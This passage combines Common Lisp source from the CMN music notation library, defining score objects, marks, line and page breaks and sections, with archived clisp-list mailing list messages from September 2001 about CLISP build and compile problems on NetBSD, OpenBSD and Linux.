(defmethod descry ((thk breathing-space-mixin) &optional stream controller) (format stream "~A~A" (if (not (zerop (breathing-space thk))) (format nil " :breathing-space ~1,3F" (breathing-space thk)) "") (if (next-method-p) (call-next-method thk stream (or controller thk)) ""))) (defmethod copy ((thk breathing-space-mixin) &optional object) (setf (breathing-space object) (breathing-space thk)) (if (next-method-p) (call-next-method thk object)) object) (deferred-action breathing-space) (defclass score-object-mixin (odb-mixin visible-mixin) ((draw-func :initarg :draw-func :accessor draw-func :initform nil) (width :initarg :width :accessor width :accessor cmn-width :initform 0))) (defmethod score-object-p ((obj t)) nil) (defmethod score-object-p ((obj score-object-mixin)) t) (defclass score-object (score-object-mixin odb visible) ()) ;;; anything that the score needs to keep track of (during alignment for example) is a score-object ;;; each such object has a bounding box and a draw function (defun object-address (object) #+mcl (format nil " #x~x" (ccl:%address-of object)) ;; can't use excl:pointer-to-fixnum because it is no longer defined in acl 5 #+excl "" #+gcl (format nil " #o~O" (si:address object)) #+lucid (format nil " #o~O" (%pointer object)) #+clisp (format nil " #o~O" (sys::address-of object)) ) #-excl (defmethod print-object ((object score-object-mixin) stream) (format stream "#<~A~A~A>" (class-name (class-of object)) (object-address object) (if (odb-onset object) (format nil ": (onset ~A)" (odb-onset object)) ""))) (defmethod copy ((obj score-object-mixin) &optional object) (let ((new-obj (if (not object) (make-instance 'score-object) (if (write-protected object) (copy object) object)))) (setf (draw-func new-obj) (draw-func obj)) (setf (cmn-width new-obj) (cmn-width obj)) (if (next-method-p) (call-next-method obj new-obj)) new-obj)) (defclass sundry-mixin (score-object-mixin thick-mixin) ((name :initform nil :initarg :name :reader sundry-name) (mark :initform nil :initarg :mark :reader sundry-mark) (source :initform nil :initarg :source :reader sundry-source))) (defclass sundry (sundry-mixin score-object thick) ((name :accessor sundry-name) (mark :accessor sundry-mark) (source :accessor sundry-source))) (defclass write-protected-sundry (write-protect sundry-mixin) ()) (defmethod sundry-p ((obj t)) nil) (defmethod sundry-p ((obj sundry-mixin)) t) (defun make-sundry (&key name mark source) (make-instance 'sundry :name name :mark mark :source source)) ;backwards compatibility (defmethod display ((sundry sundry-mixin) note score &optional justifying) (when (or (not justifying) (not (eq (visible-justification sundry) :none))) (funcall (sundry-mark sundry) sundry note score justifying) (if (marks sundry) (display-marks sundry score justifying)))) (defmethod descry ((sundry sundry-mixin) &optional stream controller) (format stream "~A~A~A" (if (tag-p sundry) "" (format stream "(~(~A~)"(sundry-name sundry))) (if (next-method-p) (call-next-method sundry stream (or controller sundry)) "") (if (tag-p sundry) "" ")"))) (defmethod identify ((sundry sundry-mixin)) (or (sundry-source sundry) (and (sundry-name sundry) (not (member (sundry-name sundry) '(:slur :set-up-slur :beat :beat-subdivision :staff-name :beam-between-staves :stem-tie))) (format nil "(~(~A~))" (sundry-name sundry))) "")) (defmethod copy ((sundry sundry-mixin) &optional object) (let ((new-sundry (if (not object) (make-instance 'sundry) (if (write-protected object) (copy object) object)))) (setf (sundry-name new-sundry) (sundry-name sundry)) (setf (sundry-mark new-sundry) (sundry-mark sundry)) (setf (sundry-source new-sundry) (sundry-source sundry)) (if (next-method-p) (call-next-method sundry new-sundry)) new-sundry)) (defgeneric backpatch (mark) ) (defgeneric backpatch-time (mark obj) ) (defgeneric backpatch-start (mark) ) (defmethod backpatch (anything) (declare (ignore anything)) nil) (defmethod backpatch ((sundry sundry-mixin)) nil) (defmethod backpatch-time ((sundry sundry-mixin) obj) (declare (ignore obj)) nil) (defmethod backpatch-start (anything) (declare (ignore anything)) nil) (defun direction-from-note (mark our-note) (if (member (visible-justification mark) '(:up :above :down :below)) (if (member (visible-justification mark) '(:up :above)) :up :down) (if (stem-is-up? our-note) :down :up))) (defun cmn-mark (obj &rest objects) (let ((new-mark (copy obj))) (loop for act in objects do (when act (if (self-acting-p act) (funcall (action act) new-mark (argument act)) (if (visible-p act) (if (write-protected act) (push (copy act) (marks new-mark)) (push act (marks new-mark))))))) new-mark)) (defun mark (func name &rest objects) (let ((new-mark (make-instance 'sundry :name name :mark func))) (loop for act in objects do (when act (if (self-acting-p act) (funcall (action act) new-mark (argument act)) (if (visible-p act) (if (write-protected act) (push (copy act) (marks new-mark)) (push act (marks new-mark))))))) new-mark)) (defmethod notify ((sundry sundry-mixin) &optional objects) (let ((new-mark (copy sundry))) (loop for act in objects do (when act (if (self-acting-p act) (funcall (action act) new-mark (argument act)) (if (visible-p act) (push act (marks new-mark)))))) new-mark)) ;;; ;;; ---------------- line and page marks ;;; ;;; I originally used the slot names "space" and "type", but both are apparently illegal in cltl2!! (defclass page-mixin (odb-mixin box-mixin staff-relative-mixin) ((page-space :reader page-space :initarg :space :initform nil))) (defclass write-protected-page (write-protect page-mixin) ()) (defclass page (page-mixin odb box) ((page-space :accessor page-space))) (defun page-mark () (make-instance 'page)) (defvar page-mark (make-instance 'write-protected-page)) (defmethod page-p ((obj t)) nil) (defmethod page-p ((obj page-mixin)) t) (defmethod copy ((page page-mixin) &optional object) (let ((new-page (if (not object) (make-instance 'page) (if (write-protected object) (copy object) object)))) (setf (page-space new-page) (page-space page)) (if (next-method-p) (call-next-method page new-page)) new-page)) (defmethod descry ((page page-mixin) &optional stream controller) (format stream "(page-mark~A~A)" (if (page-space page) (format nil " :space ~1,3F" (page-space page)) "") (if (next-method-p) (call-next-method page stream (or controller page)) ""))) (defmethod notify ((page page-mixin) &optional objects) (declare (ignore objects)) (if (write-protected page) (make-instance 'page) page)) (defmethod identify ((page page-mixin)) "(page-mark)") (defclass line-mixin (odb-mixin visible-mixin box-mixin staff-relative-mixin) ((line-space :reader line-space :initarg :space :initform nil) (size :reader size :initarg :size :initform nil) (line-type :reader line-type :initarg :type :initform nil) (line-staff :reader line-staff :initarg :line-staff :initform 0))) (defclass write-protected-line (write-protect line-mixin) ()) (defclass line (line-mixin odb visible box) ((line-space :accessor line-space) (size :accessor size) (line-type :accessor line-type) (line-staff :accessor line-staff))) (defun line-mark (&rest args) (let ((new-line (make-instance 'line))) (loop for arg in args do (if (self-acting-p arg) (funcall (action arg) new-line (argument arg)))) new-line)) (defvar line-mark (make-instance 'write-protected-line)) (defmethod line-p ((obj t)) nil) (defmethod line-p ((obj line-mixin)) t) (defmethod copy ((line line-mixin) &optional object) (let ((new-line (if (not object) (make-instance 'line) (if (write-protected object) (copy object) object)))) (setf (size new-line) (size line)) (setf (line-space new-line) (line-space line)) (setf (line-type new-line) (line-type line)) (setf (line-staff new-line) (line-staff line)) (if (next-method-p) (call-next-method line new-line)) new-line)) (defmethod descry ((line line-mixin) &optional stream controller) (format stream "(line-mark~A~A~A~A~A~A~A)" (if (listp (vis-dx line)) (format nil " :dx ~A" (dx line)) "") (if (or (listp (vis-dy line)) (not (zerop (vis-dy line)))) (format nil " :dy ~A" (vis-dy line)) "") (if (size line) (format nil " :size ~1,3F" (size line)) "") (if (line-space line) (format nil " :space ~1,3F" (line-space line)) "") (if (line-type line) (format nil " :type :~(~A~)" (line-type line)) "") (if (line-staff line) (format nil " :staff-number ~D" (line-staff line)) "") (if (next-method-p) (call-next-method line stream (or controller line)) ""))) (defmethod notify ((line line-mixin) &optional objects) (declare (ignore objects)) (if (write-protected line) (make-instance 'line) line)) (defmethod identify ((line line-mixin)) "(line-mark)") ;not actually called (line-marks are implicit in staff data structure) ;;; if (dy num) => set dy to (line-number :dy '((staff-number num))) else (dy (staff-number num)) => same listified ;;; else (dy '((staff num) (staff num))). ;;; (dx '((beat num) ...)) (defun line-break (&rest args) (apply #'line-mark args)) (defvar line-break (make-instance 'write-protected-line)) (defun page-break () (make-instance 'page)) (defvar page-break (make-instance 'write-protected-page)) ;;; (cmn treble c4 q c4 q c4 q (line-break (dy -1)) c4 q c4 q c4 q (line-mark (dy -2)) c4 q c4 q c4 q) ;;; ;;; ---------------- section ;;; ;;; a section is a group of systems (staves) with auxiliary local score actions (defclass section () ((data :accessor data :initform nil :initarg :data))) (defmethod section-p ((obj t)) nil) (defmethod section-p ((obj section)) t) (defun section (&rest args) (make-instance 'section :data args)) #| (cmn (section (redundant-accidentals nil) (staff treble (meter 4 4) cs4 q cs4 q cs4 q cs4 q)) (section (staff treble cs4 q cs4 q cs4 q cs4 q)) ) |# From haible@ilog.fr Mon Sep 10 06:33:58 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gRCF-0003QR-00 for ; Mon, 10 Sep 2001 06:33:55 -0700 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.11.6/8.11.6) with ESMTP id f8ADWwM15303 for ; Mon, 10 Sep 2001 15:32:58 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.99]) by laposte.ilog.fr (8.11.6/8.11.5) with ESMTP id f8ADXdA02503; Mon, 10 Sep 2001 15:33:40 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA26235; Mon, 10 Sep 2001 15:33:37 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15260.49446.265551.397674@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 10 06:34:07 2001 X-Original-Date: Mon, 10 Sep 2001 15:33:26 +0200 (CEST) Bernard Urban writes: > > > $ rm -rf build > > > > $ ./configure --build build > > > > $ cd build > > > > $ ./.clisp -q -norc -L french -x '(/ 0)' > > > > this does work for me with the current development sources. > > could you please try the CVS version? > > I just gave it a try: same problem. For me it works, since the 2001-08-05 patch to spvw_language.d. But the code assumes that you have a fr_FR locale installed in /usr/lib/locale/. Which is the case for me, but perhaps not for you? > I spotted the problem to be in gettext/intl/dcigettext.c in > #define HAVE_LOCALE_NULL. It appears that setlocale (.., NULL) does > not work as assumed in the case of glibc2, and always returns the C > locale instead of the fr locale defined in spvw_language.d. glibc doesn't have an "fr" locale any more, it only has "fr_FR". The HAVE_LOCALE_NULL setting is correct; it only means whether the return value of setlocale is in a reasonable format. Bruno From sds@gnu.org Mon Sep 10 06:38:05 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gRGG-00043M-00 for ; Mon, 10 Sep 2001 06:38:05 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA12660; Mon, 10 Sep 2001 09:37:59 -0400 (EDT) X-Envelope-To: To: John Towler Cc: clisp-list@lists.sourceforge.net, cmdist@ccrma.stanford.edu Subject: Re: [clisp-list] clisp-2.27 fails to load compiled cmn-objects.lisp References: <200109101042.FAA28340@newton.pconline.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200109101042.FAA28340@newton.pconline.com> Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 10 06:39:02 2001 X-Original-Date: 10 Sep 2001 09:37:27 -0400 > * In message <200109101042.FAA28340@newton.pconline.com> > * On the subject of "[clisp-list] clisp-2.27 fails to load compiled cmn-objects.lisp" > * Sent on Mon, 10 Sep 2001 05:42:24 -0500 > * Honorable John Towler writes: > > I am running CLISP on an i386-unknown-netbsdelf1.5.1 (Toshiba > 460 CDT). I ran into problems compiling/loading cmn > (ftp://ftp-ccrma.stanford.edu/pub/Lisp/cmn.tar.gz, my current copy is > dated Aug 27, 2001 ) with CLISP-2.27. > The form that is a problem seems to be: > > 2. Break CMN[16]> ;;; Evaluate (defclass box-mixin () > ((x0 :initarg :x0 :initform 0 :reader x0 :reader box-x0 :type number) > (y0 :initarg :y0 :initform 0 :reader y0 :reader box-y0 :type number) > (x1 :initarg :x1 :initform 0 :reader x1 :reader box-x1 :type number) > (y1 :initarg :y1 :initform 0 :reader y1 :reader box-y1 :type number))) > *** - Y0 does not name a generic function > 3. Break CMN[17]> ----------------------------------------- > (describe 'y0) y0 is the symbol y0, lies in #, is accessible in the packages COMMON-LISP-USER, EXT, FFI, POSIX, SCREEN, SYSTEM, names a function. # is the package named POSIX. It imports the external symbols of the package COMMON-LISP and exports 80 symbols to the package EXT. # is a built-in system function. Argument list: (arg0) ----------------------------------------- y0 is the Bessel function. as such, it is not a generic function, so it cannot be used as :reader. the package system is your friend; just (shadow '(y0 y1)) and you are in good shape. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on My other CAR is a CDR. From haible@ilog.fr Mon Sep 10 06:39:24 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gRHW-0004KQ-00 for ; Mon, 10 Sep 2001 06:39:22 -0700 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.11.6/8.11.6) with ESMTP id f8ADcOM15447 for ; Mon, 10 Sep 2001 15:38:24 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.99]) by laposte.ilog.fr (8.11.6/8.11.5) with ESMTP id f8ADd6A03022; Mon, 10 Sep 2001 15:39:06 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA26238; Mon, 10 Sep 2001 15:39:03 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15260.49773.179845.433030@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problems building on m68k-apple-NetBSD1.5.1 X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 10 06:40:03 2001 X-Original-Date: Mon, 10 Sep 2001 15:38:53 +0200 (CEST) Alexander Klein wrote: > 1. 'Checking for working mmap' blew up the machine with a kernel > panic, the workaround was to set an environment variable indicating > that mmap doesn't work. I thought Douglas Crosher had fixed the NetBSD mmap (around NetBSD 0.9, ca. 1993), so he could run clisp. Has it been broken again?! Sam: > this should be reported to the autoconf maintainers (I think) No, the mmap autoconf macro that clisp uses doesn't come from the autoconf maintainers. It comes from me, and it tests realistically the way clisp will use mmap if it finds it. Alexander Klein: > 2. Later on, the configure script called a program 'minitests' that seemed > to run fine ... but then died with a segfault. The configuration should continue after that. If it doesn't, you still have that broken BSD /bin/sh. Set the environment variable CONFIG_SHELL to /bin/bash (and export it) before re-running the clisp configuration in a freshly unpacked directory. Bruno From sds@gnu.org Mon Sep 10 07:43:44 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gSHn-0008DL-00 for ; Mon, 10 Sep 2001 07:43:44 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA25834; Mon, 10 Sep 2001 10:43:38 -0400 (EDT) X-Envelope-To: To: William Harold Newman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] build problem on OpenBSD (was Re: bootstrapping with CLISP) References: <20010730090531.A7628@rootless> <3B6589C1.79C430DD@atzmueller.net> <20010730130847.B23958@rootless> <20010731075510.D23958@rootless> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010731075510.D23958@rootless> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 10 07:44:14 2001 X-Original-Date: 10 Sep 2001 10:43:03 -0400 > * In message <20010731075510.D23958@rootless> > * On the subject of "[clisp-list] build problem on OpenBSD (was Re: bootstrapping with CLISP)" > * Sent on Tue, 31 Jul 2001 07:55:10 -0500 > * Honorable William Harold Newman writes: > > > > $ ./configure > > > ../configure[276]: test: /usr/local/src/clisp: unexpected operator/operand I suspect a broken shell. please install /bin/bash and do $ CONFIG_SHELL=/bin/bash; export CONFIG_SHELL $ bash ./configure thanks! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on non-smoking section in a restaurant == non-peeing section in a swimming pool From nando@ccrma.stanford.edu Mon Sep 10 10:45:22 2001 Received: from ccrma.stanford.edu ([171.64.197.141]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gV7Z-0006lk-00 for ; Mon, 10 Sep 2001 10:45:21 -0700 Received: from cmn29.stanford.edu (cmn29.stanford.edu [171.64.197.178]) by ccrma.stanford.edu (8.9.3/8.9.3) with ESMTP id KAA19371; Mon, 10 Sep 2001 10:45:16 -0700 (PDT) Received: (from nando@localhost) by cmn29.stanford.edu (8.9.3/8.9.3) id KAA15410; Mon, 10 Sep 2001 10:45:15 -0700 (PDT) Message-Id: <200109101745.KAA15410@cmn29.stanford.edu> Content-Type: text/plain MIME-Version: 1.0 (NeXT Mail 3.3 v148.2.1) In-Reply-To: <200109101042.FAA28340@newton.pconline.com> X-Nextstep-Mailer: Mail 3.3 [i386] (Enhance 2.2p2) Received: by NeXT.Mailer (1.148.2.1) From: Fernando Pablo Lopez-Lezcano To: John Towler cc: clisp-list@lists.sourceforge.net, cmdist@ccrma.stanford.edu References: <200109101042.FAA28340@newton.pconline.com> Subject: [clisp-list] Re: (CM) clisp-2.27 fails to load compiled cmn-objects.lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 10 10:46:03 2001 X-Original-Date: Mon, 10 Sep 2001 10:45:15 -0700 > I am running CLISP on an i386-unknown-netbsdelf1.5.1 (Toshiba > 460 CDT). I ran into problems compiling/loading cmn > (ftp://ftp-ccrma.stanford.edu/pub/Lisp/cmn.tar.gz, my current copy is > dated Aug 27, 2001 ) with CLISP-2.27. > The form that is a problem seems to be: > > 2. Break CMN[16]> ;;; Evaluate (defclass box-mixin () > ((x0 :initarg :x0 :initform 0 :reader x0 :reader box-x0 :type number) > (y0 :initarg :y0 :initform 0 :reader y0 :reader box-y0 :type number) > (x1 :initarg :x1 :initform 0 :reader x1 :reader box-x1 :type number) > (y1 :initarg :y1 :initform 0 :reader y1 :reader box-y1 :type number))) > *** - Y0 does not name a generic function > 3. Break CMN[17]> One datapoint... CLISP-2.27 under linux (redhat 7 plus patches) can compile and load today's cmn.tar.gz (same date as yours) with no problems. I get some warnings but no errors. This is loading cmn-all.lisp under a freshly compiled clisp image. -- Fernando From Alexander.Klein@math.uni-giessen.de Mon Sep 10 13:37:37 2001 Received: from hermes.hrz.uni-giessen.de ([134.176.2.15]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gXoF-0001V4-00 for ; Mon, 10 Sep 2001 13:37:35 -0700 Received: from ha1.hrz.uni-giessen.de by hermes.hrz.uni-giessen.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 10 Sep 2001 22:37:12 +0200 Received: (from gc1031@localhost) by ha1.hrz.uni-giessen.de (AIX4.2/UCB 8.7/8.7 hacmp) id WAA224984; Mon, 10 Sep 2001 22:37:11 +0200 (CET) X-Sender: gc1031@popg.uni-giessen.de Message-Id: In-Reply-To: <15260.49773.179845.433030@honolulu.ilog.fr> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: From: Alexander Klein Subject: Re: [clisp-list] Problems building on m68k-apple-NetBSD1.5.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 10 13:38:01 2001 X-Original-Date: Mon, 10 Sep 2001 22:30:18 +0200 Hi, At 15:38 Uhr +0200 10.09.2001, Bruno Haible wrote: >I thought Douglas Crosher had fixed the NetBSD mmap (around NetBSD >0.9, ca. 1993), so he could run clisp. Has it been broken again?! I don't know. I've heard more complaints about mmap. Could the crash be due to the machine being low on physical memory (20MB real, 80MB total)? I got the following limits in csh: datasize 32MB stacksize 2MB memoryuse 15168kB Increasing them did, however, not help. Additionaly, I tried it with my_size set to 4096, and my_limit(?) reduced to 32 and then 16, but that wouldn't work, either. Oddly enough, when 'executing src/gettext/configure', this runs its own 'checking for working mmap' which runs fine giving 'yes' as the result. >> 2. Later on, the configure script called a program 'minitests' that seemed >> to run fine ... but then died with a segfault. >Set the environment variable >CONFIG_SHELL to /bin/bash (and export it) before re-running the clisp >configuration in a freshly unpacked directory. I tried that, too, compiled bash-2.05, and the thing still dies with a segfault and error code 139. I wish I had better news. :( Thank you still. Alex From william.newman@airmail.net Mon Sep 10 13:59:56 2001 Received: from mx3.airmail.net ([209.196.77.100]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15gY9s-0005WM-00; Mon, 10 Sep 2001 13:59:56 -0700 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx3.airmail.net with smtp (Exim 3.16 #10) id 15gY9s-000FgY-00; Mon, 10 Sep 2001 15:59:56 -0500 Received: from rootless.localdomain from [207.136.48.147] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Mon, 10 Sep 2001 16:00:51 -0500 (CDT) Received: (from newman@localhost) by rootless.localdomain (8.10.1/8.10.1) id f8AKfIt26616; Mon, 10 Sep 2001 15:41:18 -0500 (CDT) From: William Harold Newman To: clisp-list@lists.sourceforge.net Cc: sbcl-devel@lists.sourceforge.net Subject: Re: [clisp-list] build problem on OpenBSD (was Re: bootstrapping with CLISP) Message-ID: <20010910154118.B21447@rootless> References: <20010730090531.A7628@rootless> <3B6589C1.79C430DD@atzmueller.net> <20010730130847.B23958@rootless> <20010731075510.D23958@rootless> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from sds@gnu.org on Mon, Sep 10, 2001 at 10:43:03AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 10 14:00:02 2001 X-Original-Date: Mon, 10 Sep 2001 15:41:18 -0500 On Mon, Sep 10, 2001 at 10:43:03AM -0400, Sam Steingold wrote: > > * In message <20010731075510.D23958@rootless> > > * On the subject of "[clisp-list] build problem on OpenBSD (was Re: bootstrapping with CLISP)" > > * Sent on Tue, 31 Jul 2001 07:55:10 -0500 > > * Honorable William Harold Newman writes: > > > > > > $ ./configure > > > > ../configure[276]: test: /usr/local/src/clisp: unexpected operator/operand > > I suspect a broken shell. > please install /bin/bash and do > $ CONFIG_SHELL=/bin/bash; export CONFIG_SHELL > $ bash ./configure > > thanks! I tried that, and it didn't work. (See below.) I'm still very interested in getting the system to boot under CLISP, but for at least the next week I'll be busy getting sbcl-0.7.0 ready, and booting under CLISP isn't a must-have feature for that. (I'm trying to put all the breaks-backwards-compatibility and might-introduce-bugs and might-break-patches stuff in this release; 0.7.1 and so forth are fine for incremental changes like booting under CLISP.) I'm also waiting to hear from someone else who posted on sbcl-devel last month (?) about work on booting SBCL under CLISP, but hasn't sent in his patches yet. So in a while I'll be more motivated to figure out what's going on, but for now I'm going to work on other things unless someone just hands me a no-muss, no-fuss working solution. balefire:clisp/ $ type bash bash is /usr/local/bin/bash balefire:clisp/ $ export CONFIG_SHELL=/usr/local/bin/bash balefire:clisp/ $ bash ./configure ./configure: test: too many arguments ./configure: test: too many arguments ./configure: [: /usr/local/src/clisp/src: binary operator expected ./configure: [: /usr/local/src/clisp/src: binary operator expected ./configure: [: /usr/local/src/clisp/src: binary operator expected ./configure: [: /usr/local/src/clisp/src: binary operator expected /usr/local/src/clisp/src rm: /usr/local/src/clisp/src: is a directory ./configure: [: /usr/local/src/clisp/src: binary operator expected /usr/local/src/clisp/src rm: /usr/local/src/clisp/src: is a directory ./configure: [: /usr/local/src/clisp/src: binary operator expected /usr/local/src/clisp/src rm: /usr/local/src/clisp/src: is a directory ./configure: [: /usr/local/src/clisp/src: binary operator expected /usr/local/src/clisp/src rm: /usr/local/src/clisp/src: is a directory ./configure: [: /usr/local/src/clisp/src: binary operator expected /usr/local/src/clisp/src rm: /usr/local/src/clisp/src: is a directory ./configure: [: /usr/local/src/clisp/src: binary operator expected /usr/local/src/clisp/src rm: /usr/local/src/clisp/src: is a directory ./configure: [: /usr/local/src/clisp/src: binary operator expected /usr/local/src/clisp/src rm: /usr/local/src/clisp/src: is a directory ./configure: [: /usr/local/src/clisp/src: binary operator expected /usr/local/src/clisp/src rm: /usr/local/src/clisp/src: is a directory ./configure: [: /usr/local/src/clisp/src: binary operator expected /usr/local/src/clisp/src rm: /usr/local/src/clisp/src: is a directory ^C balefire:clisp/ $ -- William Harold Newman "Sometimes if you have a cappuccino and then try again it will work OK." -- Dr. Brian Reid, 1992, quoted by mjr "Sometimes one cappucino isn't enough." -- mjr = Marcus J. "will do TCP/IP for food" Ranum PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From wew@ozemail.com.au Tue Sep 11 00:16:59 2001 Received: from mta03.mail.au.uu.net ([203.2.192.83] helo=mta03.mail.mel.aone.net.au) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ghmy-0003lW-00 for ; Tue, 11 Sep 2001 00:16:56 -0700 Received: from kako.domus.net ([63.60.220.235]) by mta03.mail.mel.aone.net.au with ESMTP id <20010911071543.OFKR288.mta03.mail.mel.aone.net.au@kako.domus.net>; Tue, 11 Sep 2001 17:15:43 +1000 Received: (from wew@localhost) by kako.domus.net (8.11.4/8.11.4) id f8B7DO103416; Tue, 11 Sep 2001 17:13:24 +1000 From: William Webber To: clisp-list@lists.sourceforge.net Message-ID: <20010911171324.A3319@kako.domus.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] Compiler not obeying use-package? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 11 00:17:03 2001 X-Original-Date: Tue, 11 Sep 2001 17:13:24 +1000 Hi all! The FFI examples given in the CLISP implementation notes, Extension-2.3, will not compile. One of the problems seems to be (?) that the compiler does not treat "use-package" properly. So, for instance, to take a shortened version of the file sort2.lisp given in the call-in examples: (use-package "FFI") (def-call-in lispsort_begin (:arguments (n int)) (:return-type nil) (:language :stdc)) $ clisp -c sort2.lisp Compiling file /home/william/lisp/clisp-ffi/sort/ssort.lisp ... WARNING in function #:TOP-LEVEL-FORM-2 in lines 2..4 : LISPSORT_BEGIN is neither declared nor bound, it will be treated as if it were declared SPECIAL. WARNING in function #:TOP-LEVEL-FORM-2 in lines 2..4 : INT is neither declared nor bound, it will be treated as if it were declared SPECIAL. Compilation of file /home/william/lisp/clisp-ffi/sort/ssort.lisp is finished. The following functions were used but not defined: DEF-CALL-IN :ARGUMENTS N :RETURN-TYPE :LANGUAGE The following special variables were not defined: LISPSORT_BEGIN INT and sort2.c is not produced. If we change this to: (defpackage "SORT2" (:use "FFI" "LISP")) (in-package "SORT2") (def-call-in lispsort_begin (:arguments (n int)) (:return-type nil) (:language :stdc)) it compiles fine (there are other problems later on, but one thing at a time...). Similarly, we can do: (ffi:def-call-in lispsort_begin (:arguments (n ffi:int)) (:return-type 